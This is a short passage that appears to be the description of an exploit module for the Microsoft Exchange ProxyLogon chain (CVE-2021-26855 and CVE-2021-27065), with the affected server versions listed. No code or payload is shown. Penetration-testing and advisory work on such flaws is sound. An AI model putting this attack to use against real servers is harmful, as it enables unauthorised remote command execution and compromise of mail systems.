          This module exploit a vulnerability on Microsoft Exchange Server that
          allows an attacker bypassing the authentication, impersonating as the
          admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get
          the RCE (Remote Code Execution).

          By taking advantage of this vulnerability, you can execute arbitrary
          commands on the remote Microsoft Exchange Server.

          This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
          Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
          Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).

          All components are vulnerable by default.
